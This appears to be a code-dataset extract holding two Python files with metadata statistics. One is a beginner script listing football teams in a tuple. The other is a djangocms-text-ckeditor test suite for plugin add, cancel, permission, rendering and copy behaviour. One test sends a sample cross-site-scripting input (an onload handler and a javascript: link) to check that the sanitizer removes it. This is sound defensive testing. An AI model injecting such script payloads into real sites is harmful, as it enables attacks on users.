0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
40ca14e94dde244589840b8fd65cb47fe3b168ba
628
py
Python
Ex_Python/Exercicios-Tuplas/Tabela_Brasileirao.py
Matheus-Soares2003/Python
7495d70f14650ce058085426da01418c706f15c7
[ "MIT" ]
null
null
null
Ex_Python/Exercicios-Tuplas/Tabela_Brasileirao.py
Matheus-Soares2003/Python
7495d70f14650ce058085426da01418c706f15c7
[ "MIT" ]
null
null
null
Ex_Python/Exercicios-Tuplas/Tabela_Brasileirao.py
Matheus-Soares2003/Python
7495d70f14650ce058085426da01418c706f15c7
[ "MIT" ]
null
null
null
def linha(): print('-=' * 10) times = ('Palmeiras','Atlético-MG','Fortaleza','Bragantino','Athletico-PR','Flamengo','Ceará','Atlético-GO','Bahia','Corinthians','Fluminense','Santos','Juventude','Internacional','Cuiabá','Sport','São Paulo','América-MG','Grêmio','Chapecoense') linha() print(f'Lista de times do Brasileirão: {times}') linha() print(f'Os 5 primeiros são: {times[0:5]}') linha() print(f'Os 4 últimos são: {times[len(times) - 4:len(times)]}') linha() print(f'Em ordem alfabética: {sorted(times)}') linha() print(f'A chapecoense está em {times.index("Chapecoense") + 1}º\n') sair = input("ENTER para sair... ")
36.941176
245
0.676752
88
628
4.829545
0.613636
0.141176
0.129412
0.112941
0
0
0
0
0
0
0
0.013962
0.08758
628
16
246
39.25
0.727749
0
0
0.357143
0
0
0.656051
0.042994
0
0
0
0
0
1
0.071429
false
0
0
0
0.071429
0.428571
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
40cac0f79f97392606bd92a3c7f0ad75a88f814f
37,940
py
Python
tests/test_plugin.py
jonathan-s/djangocms-text-ckeditor
3a555618d01ebcd3cb65cc238b755a1736e695cb
[ "BSD-3-Clause" ]
1
2021-02-08T14:24:00.000Z
2021-02-08T14:24:00.000Z
tests/test_plugin.py
jonathan-s/djangocms-text-ckeditor
3a555618d01ebcd3cb65cc238b755a1736e695cb
[ "BSD-3-Clause" ]
null
null
null
tests/test_plugin.py
jonathan-s/djangocms-text-ckeditor
3a555618d01ebcd3cb65cc238b755a1736e695cb
[ "BSD-3-Clause" ]
1
2019-06-14T15:40:23.000Z
2019-06-14T15:40:23.000Z
# -*- coding: utf-8 -*- import copy import json import re import unittest from django.contrib import admin from django.contrib.auth import get_permission_codename from django.contrib.auth.models import Permission from django.template import RequestContext from django.utils.encoding import force_text from django.utils.html import escape from django.utils.http import urlencode, urlunquote from cms.api import add_plugin, create_page, create_title from cms.models import CMSPlugin, Page, Title from cms.utils.urlutils import admin_reverse from djangocms_text_ckeditor.cms_plugins import TextPlugin from djangocms_text_ckeditor.compat import get_page_placeholders from djangocms_text_ckeditor.models import Text from djangocms_text_ckeditor.utils import ( _plugin_tags_to_html, _render_cms_plugin, plugin_tags_to_admin_html, plugin_tags_to_id_list, plugin_to_tag, ) from .base import BaseTestCase try: from djangocms_transfer.exporter import export_page HAS_DJANGOCMS_TRANSFER = True except ImportError: HAS_DJANGOCMS_TRANSFER = False try: import djangocms_translations # noqa HAS_DJANGOCMS_TRANSLATIONS = True except ImportError: HAS_DJANGOCMS_TRANSLATIONS = False class PluginActionsTestCase(BaseTestCase): def get_custom_admin_url(self, plugin_class, name): plugin_type = plugin_class.__name__.lower() url_name = '%s_%s_%s' % (plugin_class.model._meta.app_label, plugin_type, name) return admin_reverse(url_name) def _add_child_plugin(self, text_plugin, plugin_type='PicturePlugin', data_suffix=None): name = '{} record'.format(plugin_type) if data_suffix is not None: name = '{} {}'.format(name, data_suffix) basic_plugins = { 'LinkPlugin': { 'name': name, 'external_link': 'https://www.django-cms.org', }, 'PreviewDisabledPlugin': {}, 'SekizaiPlugin': {}, } if plugin_type == 'PicturePlugin': data = {'caption_text': name, 'picture': self.create_filer_image_object()} else: data = basic_plugins[plugin_type] plugin = add_plugin( text_plugin.placeholder, plugin_type, 'en', target=text_plugin, **data ) return plugin def _add_text_plugin(self, placeholder, plugin_type='TextPlugin'): text_plugin = add_plugin( placeholder, plugin_type, 'en', body='Hello World', ) return text_plugin def _replace_plugin_contents(self, text, new_plugin_content): def _do_replace(obj, match): return plugin_to_tag(obj, content=new_plugin_content) return _plugin_tags_to_html(text, output_func=_do_replace) def add_plugin_to_text(self, text_plugin, plugin): text_plugin.body = '%s %s' % (text_plugin.body, plugin_to_tag(plugin)) text_plugin.save() return text_plugin def _give_permission(self, user, model, permission_type, save=True): codename = get_permission_codename(permission_type, model._meta) user.user_permissions.add(Permission.objects.get(codename=codename)) def _give_cms_permissions(self, user): for perm_type in ['add', 'change', 'delete']: for model in [Page, Title]: self._give_permission(user, model, perm_type) def get_page_admin(self): admin.autodiscover() return admin.site._registry[Page] def get_post_request(self, data): return self.get_request(post_data=data) def get_plugin_id_from_response(self, response): url = urlunquote(response.url) # Ideal case, this looks like: # /en/admin/cms/page/edit-plugin/1/ return re.findall('\d+', url)[0] # noqa def test_add_and_edit_plugin(self): """ Test that you can add a text plugin """ admin = self.get_superuser() simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') endpoint = self.get_add_plugin_uri(simple_placeholder, 'TextPlugin') with self.login_user_context(admin): response = self.client.get(endpoint) text_plugin_pk = self.get_plugin_id_from_response(response) self.assertIn('?delete-on-cancel', response.url) self.assertEqual(response.status_code, 302) # Assert "ghost" plugin has been created self.assertObjectExist(CMSPlugin.objects.all(), pk=text_plugin_pk) cms_plugin = CMSPlugin.objects.get(pk=text_plugin_pk) text_plugin_class = cms_plugin.get_plugin_class_instance() # Assert "real" plugin has not been created yet self.assertObjectDoesNotExist(Text.objects.all(), pk=text_plugin_pk) add_url = response.url with self.login_user_context(admin): request = self.get_request() action_token = text_plugin_class.get_action_token(request, cms_plugin) response = self.client.get(add_url) self.assertEqual(response.status_code, 200) # Assert cancel token is present self.assertContains(response, action_token) with self.login_user_context(admin): data = {'body': 'Hello world'} response = self.client.post(add_url, data) self.assertEqual(response.status_code, 200) # Assert "real" plugin has been created yet self.assertObjectExist(Text.objects.all(), pk=text_plugin_pk) text_plugin = Text.objects.get(pk=text_plugin_pk) # Assert the text was correctly saved self.assertEqual(text_plugin.body, 'Hello world') def test_add_and_cancel_plugin(self): """ Test that you can add a text plugin """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') endpoint = self.get_add_plugin_uri(simple_placeholder, 'TextPlugin') with self.login_user_context(self.get_superuser()): response = self.client.get(endpoint) self.assertEqual(response.status_code, 302) # Point to the newly created text plugin text_plugin_pk = self.get_plugin_id_from_response(response) cms_plugin = CMSPlugin.objects.get(pk=text_plugin_pk) text_plugin_class = cms_plugin.get_plugin_class_instance() # Assert "ghost" plugin has been created self.assertObjectExist(CMSPlugin.objects.all(), pk=text_plugin_pk) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, cms_plugin) data = {'token': action_token} request = self.get_post_request(data) response = text_plugin_class.delete_on_cancel(request) self.assertEqual(response.status_code, 204) # Assert "ghost" plugin has been removed self.assertObjectDoesNotExist(CMSPlugin.objects.all(), pk=text_plugin_pk) # Assert "real" plugin was never created self.assertObjectDoesNotExist(Text.objects.all(), pk=text_plugin_pk) # Assert user can't delete a non "ghost" plugin text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) data = {'token': action_token} request = self.get_post_request(data) response = text_plugin_class.delete_on_cancel(request) self.assertEqual(response.status_code, 400) def test_add_and_cancel_child_plugin(self): """ Test that you can add a text plugin """ admin = self.get_superuser() simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() child_plugin_1 = add_plugin( simple_placeholder, 'PicturePlugin', 'en', target=text_plugin, picture=self.create_filer_image_object(), caption_text='Foo', ) child_plugin_2 = add_plugin( simple_placeholder, 'PicturePlugin', 'en', target=text_plugin, picture=self.create_filer_image_object(), caption_text='Foo', ) child_plugin_3 = add_plugin( simple_placeholder, 'PicturePlugin', 'en', target=text_plugin, picture=self.create_filer_image_object(), caption_text='Foo', ) child_plugin_4 = add_plugin( simple_placeholder, 'PicturePlugin', 'en', target=text_plugin, picture=self.create_filer_image_object(), caption_text='Foo', ) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin_1) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin_4) with self.login_user_context(admin): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) # Assert user is unable to delete a saved child plugin data = {'token': action_token, 'child_plugins': [child_plugin_1.pk]} request = self.get_post_request(data) response = text_plugin_class.delete_on_cancel(request) self.assertEqual(response.status_code, 400) self.assertObjectExist(CMSPlugin.objects.all(), pk=child_plugin_1.pk) # Assert user is unable to delete if plugins array contains # an unsaved plugin. plugin_ids = [ child_plugin_1.pk, child_plugin_2.pk, child_plugin_3.pk, child_plugin_4.pk, ] data = {'token': action_token, 'child_plugins': plugin_ids} request = self.get_post_request(data) response = text_plugin_class.delete_on_cancel(request) self.assertEqual(response.status_code, 400) self.assertObjectExist(CMSPlugin.objects.all(), pk=child_plugin_1.pk) self.assertObjectExist(CMSPlugin.objects.all(), pk=child_plugin_2.pk) self.assertObjectExist(CMSPlugin.objects.all(), pk=child_plugin_3.pk) self.assertObjectExist(CMSPlugin.objects.all(), pk=child_plugin_4.pk) plugin_ids = [ child_plugin_2.pk, child_plugin_3.pk, ] data = {'token': action_token, 'child_plugins': plugin_ids} request = self.get_post_request(data) response = text_plugin_class.delete_on_cancel(request) self.assertEqual(response.status_code, 204) self.assertObjectDoesNotExist(CMSPlugin.objects.all(), pk=child_plugin_2.pk) self.assertObjectDoesNotExist(CMSPlugin.objects.all(), pk=child_plugin_3.pk) def test_action_token_per_session(self): # Assert that a cancel token for the same plugin # is different per user session. simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() with self.login_user_context(self.get_superuser()): request = self.get_request() action_token_1 = text_plugin_class.get_action_token(request, text_plugin) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token_2 = text_plugin_class.get_action_token(request, text_plugin) self.assertNotEqual(action_token_1, action_token_2) def test_add_and_cancel_plugin_permissions(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') endpoint = self.get_add_plugin_uri(simple_placeholder, 'TextPlugin') with self.login_user_context(self.user): response = self.client.post(endpoint, {}) self.assertEqual(response.status_code, 302) # Point to the newly created text plugin text_plugin_pk = self.get_plugin_id_from_response(response) cms_plugin = CMSPlugin.objects.get(pk=text_plugin_pk) text_plugin_class = cms_plugin.get_plugin_class_instance() endpoint = self.get_custom_admin_url(TextPlugin, 'delete_on_cancel') # Assert a standard user (no staff) can't delete ghost plugin with self.login_user_context(self.get_standard_user()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, cms_plugin) data = {'token': action_token} response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 403) staff_user = self._create_user('addonly-staff', is_staff=True, is_superuser=False) self._give_cms_permissions(staff_user) self._give_permission(staff_user, text_plugin_class.model, 'add') with self.login_user_context(staff_user): request = self.get_request() action_token = text_plugin_class.get_action_token(request, cms_plugin) data = {'token': action_token} response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 204) def test_change_form_has_rendered_plugin_content(self): """ When the text form is rendered in the admin, the child plugins are rendered as their contents passed as initial data to the text field. """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) child_plugins = [ self._add_child_plugin(text_plugin), self._add_child_plugin(text_plugin), ] for plugin in child_plugins: text_plugin = self.add_plugin_to_text(text_plugin, plugin) with self.login_user_context(self.get_superuser()): request = self.get_request() context = RequestContext(request) context['request'] = request text_with_rendered_plugins = plugin_tags_to_admin_html( text=text_plugin.body, context=context, ) endpoint = self.get_change_plugin_uri(text_plugin) response = self.client.get(endpoint) self.assertEqual(response.status_code, 200) self.assertEqual( response.context['adminform'].form['body'].value(), text_with_rendered_plugins, ) self.assertContains( response, escape(text_with_rendered_plugins), html=False, ) def test_user_cant_edit_child_plugins_directly(self): """ No user regardless of permissions can modify the contents of a child plugin directly in the text plugin text. """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) child_plugins = [ self._add_child_plugin(text_plugin), self._add_child_plugin(text_plugin), ] for plugin in child_plugins: text_plugin = self.add_plugin_to_text(text_plugin, plugin) with self.login_user_context(self.get_superuser()): expected_text = text_plugin.body # This returns the child plugins with their content # overridden to <img src=""> overridden_text = self._replace_plugin_contents( text_plugin.body, new_plugin_content='<img src="">', ) endpoint = self.get_change_plugin_uri(text_plugin) response = self.client.post(endpoint, {'body': overridden_text}) text_plugin.refresh_from_db() self.assertEqual(response.status_code, 200) self.assertXMLEqual(text_plugin.body, expected_text) def test_render_child_plugin_endpoint(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() child_plugin = self._add_child_plugin(text_plugin) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 200) context = RequestContext(request) context['request'] = request rendered_content = _render_cms_plugin(child_plugin, context) rendered_child_plugin = plugin_to_tag( child_plugin, content=rendered_content, admin=True, ) self.assertEqual(force_text(response.content), rendered_child_plugin) child_plugin = self._add_child_plugin(text_plugin, plugin_type='PreviewDisabledPlugin') text_plugin = self.add_plugin_to_text(text_plugin, child_plugin) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 200) # it is important that we do not add any extra whitespace inside of # <cms-plugin></cms-plugin> rendered_child_plugin = ('<cms-plugin render-plugin=false ' 'alt="Preview Disabled Plugin - 3 ' '"title="Preview Disabled Plugin - 3" ' 'id="3"><span>Preview is disabled for this plugin</span>' '</cms-plugin>') self.assertEqual(force_text(response.content), rendered_child_plugin) def test_render_child_plugin_endpoint_calls_context_processors(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() child_plugin = self._add_child_plugin( text_plugin, plugin_type='SekizaiPlugin', ) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin) with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 200) context = RequestContext(request) context['request'] = request rendered_content = _render_cms_plugin(child_plugin, context) rendered_child_plugin = plugin_to_tag( child_plugin, content=rendered_content, admin=True, ) self.assertEqual(force_text(response.content), rendered_child_plugin) def test_render_child_plugin_permissions(self): """ Users can't render a child plugin without change permissions on the placeholder attached object and the text plugin. """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() child_plugin = self._add_child_plugin(text_plugin) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin) with self.login_user_context(self.get_standard_user()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 403) self.assertEqual(force_text(response.content), '<h1>403 Forbidden</h1>') def test_render_child_plugin_token_validation(self): """ Users can only render a child plugin if the token was created in the current session and it's text plugin matches the child plugin parent. """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the first", ) text_plugin_class = text_plugin.get_plugin_class_instance() child_plugin = self._add_child_plugin(text_plugin) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin) # Tokens are unique per session. # Users can't render a child plugin with a token # from another session. with self.login_user_context(self.get_superuser()): request = self.get_request() with self.login_user_context(self.get_superuser()): action_token = text_plugin_class.get_action_token(request, text_plugin) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 400) self.assertEqual(force_text(response.content), 'Unable to process your request. Invalid token.') text_plugin_2 = add_plugin( simple_placeholder, 'TextPlugin', 'en', body="I'm the second", ) # Tokens are unique per text plugin. # User can't render a child plugin for a token whose text plugin # does not match the plugin's parent. with self.login_user_context(self.get_superuser()): request = self.get_request() action_token = text_plugin_class.get_action_token(request, text_plugin_2) endpoint = self.get_custom_admin_url(TextPlugin, 'render_plugin') endpoint += '?token={}&plugin={}'.format(action_token, child_plugin.pk) response = self.client.get(endpoint) self.assertEqual(response.status_code, 400) self.assertEqual(force_text(response.content), 'Unable to process your request.') def test_render_plugin(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = self._add_text_plugin(simple_placeholder) for i in range(0, 10): plugin = self._add_child_plugin( text_plugin, plugin_type='LinkPlugin', data_suffix=i ) text_plugin = self.add_plugin_to_text(text_plugin, plugin) with self.assertNumQueries(2): request = self.get_request() context = RequestContext(request) context['request'] = request rendered = _render_cms_plugin(text_plugin, context) for i in range(0, 10): self.assertTrue('LinkPlugin record %d' % i in rendered) def test_render_extended_plugin(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = self._add_text_plugin(simple_placeholder, 'ExtendedTextPlugin') for i in range(0, 10): plugin = self._add_child_plugin( text_plugin, plugin_type='LinkPlugin', data_suffix=i ) text_plugin = self.add_plugin_to_text(text_plugin, plugin) with self.assertNumQueries(2): request = self.get_request() context = RequestContext(request) context['request'] = request rendered = _render_cms_plugin(text_plugin, context) for i in range(0, 10): self.assertTrue('LinkPlugin record %d' % i in rendered) def test_copy_plugin_integrity(self): """ Test that copying of textplugins replaces references to copied plugins """ simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin = self._add_text_plugin(simple_placeholder) child_plugin_1 = self._add_child_plugin( text_plugin, plugin_type='LinkPlugin', ) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin_1) child_plugin_2 = self._add_child_plugin( text_plugin, plugin_type='LinkPlugin', ) text_plugin = self.add_plugin_to_text(text_plugin, child_plugin_2) # create a page translation to copy plugins to translation = create_title( 'fr', 'test-page-fr', simple_page, slug='test-page-fr' ) self.assertEqual(CMSPlugin.objects.filter(language='en').count(), 3) self.assertEqual(CMSPlugin.objects.filter(language=translation.language).count(), 0) data = { 'source_placeholder_id': simple_placeholder.pk, 'target_placeholder_id': simple_placeholder.pk, 'target_language': translation.language, 'source_language': 'en', } endpoint = self.get_admin_url(Page, 'copy_plugins') endpoint += '?' + urlencode({'cms_path': '/en/'}) with self.login_user_context(self.user): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) self.assertEqual(CMSPlugin.objects.filter(language='en').count(), 3) self.assertEqual(CMSPlugin.objects.filter(language=translation.language).count(), 3) plugins = list(CMSPlugin.objects.all()) new_plugin = plugins[3].get_plugin_instance()[0] idlist = sorted(plugin_tags_to_id_list(new_plugin.body)) expected = sorted([plugins[4].pk, plugins[5].pk]) self.assertEqual(idlist, expected) def test_copy_plugin_callback(self): simple_page = create_page('test page', 'page.html', u'en') simple_placeholder = get_page_placeholders(simple_page, 'en').get(slot='content') text_plugin_1 = self._add_text_plugin(simple_placeholder) child_plugin_1_a = self._add_child_plugin( text_plugin_1, plugin_type='LinkPlugin', ) text_plugin_1 = self.add_plugin_to_text(text_plugin_1, child_plugin_1_a) child_plugin_1_b = self._add_child_plugin( text_plugin_1, plugin_type='LinkPlugin', ) text_plugin_1 = self.add_plugin_to_text(text_plugin_1, child_plugin_1_b) text_plugin_2 = copy.copy(text_plugin_1) text_plugin_2.pk = None text_plugin_2.save() child_plugin_2_a = self._add_child_plugin( text_plugin_2, plugin_type='LinkPlugin', ) child_plugin_2_b = self._add_child_plugin( text_plugin_2, plugin_type='LinkPlugin', ) source_map = { child_plugin_1_a.pk: child_plugin_2_a, child_plugin_1_b.pk: child_plugin_2_b, } TextPlugin.do_post_copy(text_plugin_2, source_map) text_plugin_2.refresh_from_db() idlist = sorted(plugin_tags_to_id_list(text_plugin_2.body)) expected = sorted([child_plugin_2_a.pk, child_plugin_2_b.pk]) self.assertEqual(idlist, expected) def test_plugin_tags_to_id_list(self): pairs = ( ('<cms-plugin id="1"></cms-plugin><cms-plugin id="2"></cms-plugin>', [1, 2]), ('<cms-plugin alt="<h1>markup</h1>" id="1"></cms-plugin><cms-plugin id="1"></cms-plugin>', [1, 1]), ) for markup, expected in pairs: self.assertEqual(plugin_tags_to_id_list(markup), expected) def test_text_plugin_xss(self): page = create_page('test page', 'page.html', u'en') placeholder = get_page_placeholders(page, 'en').get(slot='content') plugin = add_plugin(placeholder, 'TextPlugin', 'en', body='body') endpoint = self.get_change_plugin_uri(plugin) with self.login_user_context(self.user): data = { 'body': ( '<div onload="do_evil_stuff();">divcontent</div><a href="javascript:do_evil_stuff();">acontent</a>' ) } response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) self.assertEqual(self.reload(plugin).body, '<div>divcontent</div><a>acontent</a>') @unittest.skipUnless( HAS_DJANGOCMS_TRANSLATIONS and HAS_DJANGOCMS_TRANSFER, 'Optional dependencies for tests are not installed.' ) class DjangoCMSTranslationsIntegrationTestCase(BaseTestCase): def setUp(self): super(DjangoCMSTranslationsIntegrationTestCase, self).setUp() self.page = create_page('test page', 'page.html', 'en', published=True) self.placeholder = get_page_placeholders(self.page, 'en').get(slot='content') def _export_page(self): return json.loads(export_page(self.page, 'en')) def test_textfield_without_children(self): raw_content = '<p>Please <a href="http://www.google.com">CLICK ON LINK1</a> to go to link1.</p>' add_plugin(self.placeholder, 'TextPlugin', 'en', body=raw_content) plugin = self._export_page()[0]['plugins'][0] result, children_included_in_this_content = TextPlugin.get_translation_export_content('body', plugin['data']) self.assertEquals(result, raw_content) self.assertEquals(children_included_in_this_content, []) result = TextPlugin.set_translation_import_content(result, plugin) self.assertDictEqual(result, {}) def test_textfield_with_children(self): parent = add_plugin(self.placeholder, 'TextPlugin', 'en', body='') child1 = add_plugin(self.placeholder, 'DummyLinkPlugin', 'en', target=parent, label='CLICK ON LINK1') parent_body = ( '<p>Please <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}"></cms-plugin> to go to link1.</p>' ).format(child1.pk) parent.body = parent_body parent.save() plugin = self._export_page()[0]['plugins'][0] result, children_included_in_this_content = TextPlugin.get_translation_export_content('body', plugin['data']) expected = ( parent_body .replace('></cms-plugin>', '>CLICK ON LINK1</cms-plugin>', 1) ) self.assertEquals(result, expected) self.assertEquals(children_included_in_this_content, [child1.pk]) result = TextPlugin.set_translation_import_content(result, plugin) self.assertDictEqual(result, {child1.pk: 'CLICK ON LINK1'}) def test_textfield_with_multiple_children(self): parent = add_plugin(self.placeholder, 'TextPlugin', 'en', body='') child1 = add_plugin(self.placeholder, 'DummyLinkPlugin', 'en', target=parent, label='CLICK ON LINK1') child2 = add_plugin(self.placeholder, 'DummyLinkPlugin', 'en', target=parent, label='CLICK ON LINK2') parent_body = ( '<p>Please <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}"></cms-plugin> to go to link1 ' 'or <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}"></cms-plugin> to go to link2.</p>' ).format(child1.pk, child2.pk) parent.body = parent_body parent.save() plugin = self._export_page()[0]['plugins'][0] result, children_included_in_this_content = TextPlugin.get_translation_export_content('body', plugin['data']) expected = ( parent_body .replace('></cms-plugin>', '>CLICK ON LINK1</cms-plugin>', 1) .replace('></cms-plugin>', '>CLICK ON LINK2</cms-plugin>', 1) ) self.assertEquals(result, expected) self.assertEquals(children_included_in_this_content, [child1.pk, child2.pk]) result = TextPlugin.set_translation_import_content(result, plugin) self.assertDictEqual(result, {child1.pk: 'CLICK ON LINK1', child2.pk: 'CLICK ON LINK2'}) def test_textfield_with_multiple_children_one_deleted(self): parent = add_plugin(self.placeholder, 'TextPlugin', 'en', body='') child1 = add_plugin(self.placeholder, 'DummyLinkPlugin', 'en', target=parent, label='CLICK ON LINK1') child2 = add_plugin(self.placeholder, 'DummyLinkPlugin', 'en', target=parent, label='CLICK ON LINK2') parent_body = ( '<p>Please <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}"></cms-plugin> to go to link1 ' 'or <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}"></cms-plugin> to go to link2.</p>' ).format(child1.pk, child2.pk) parent.body = parent_body parent.save() plugin = self._export_page()[0]['plugins'][0] child1.delete() result, children_included_in_this_content = TextPlugin.get_translation_export_content('body', plugin['data']) expected = ( '<p>Please to go to link1 ' 'or <cms-plugin alt="Dummy Link Plugin - dummy link object "' 'title="Dummy Link Plugin - dummy link object" id="{}">CLICK ON LINK2</cms-plugin> to go to link2.</p>' ).format(child2.pk) self.assertEquals(result, expected) self.assertEquals(children_included_in_this_content, [child2.pk]) result = TextPlugin.set_translation_import_content(result, plugin) self.assertDictEqual(result, {child2.pk: 'CLICK ON LINK2'}) def test_textfield_with_untranslatable_children(self): parent = add_plugin(self.placeholder, 'TextPlugin', 'en', body='') child1 = add_plugin(self.placeholder, 'DummySpacerPlugin', 'en', target=parent) parent_body = ( '<p>This is cool <cms-plugin alt="Dummy Spacer Plugin - dummy spacer object "' 'title="Dummy Spacer Plugin - dummy spacer object" id="{}"></cms-plugin> this is nice</p>' ).format(child1.pk) parent.body = parent_body parent.save() plugin = self._export_page()[0]['plugins'][0] result, children_included_in_this_content = TextPlugin.get_translation_export_content('body', plugin['data']) expected = ( parent_body ) self.assertEquals(result, expected) self.assertEquals(children_included_in_this_content, [child1.pk]) result = TextPlugin.set_translation_import_content(result, plugin) self.assertDictEqual(result, {child1.pk: ''})
40.447761
119
0.638297
4,473
37,940
5.114912
0.078471
0.072993
0.019013
0.01709
0.733424
0.707592
0.679007
0.652651
0.640675
0.615674
0
0.008056
0.260543
37,940
937
120
40.490929
0.80745
0.050791
0
0.587393
0
0.012894
0.113069
0.011749
0
0
0
0
0.10745
1
0.050143
false
0
0.040115
0.004298
0.10745
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2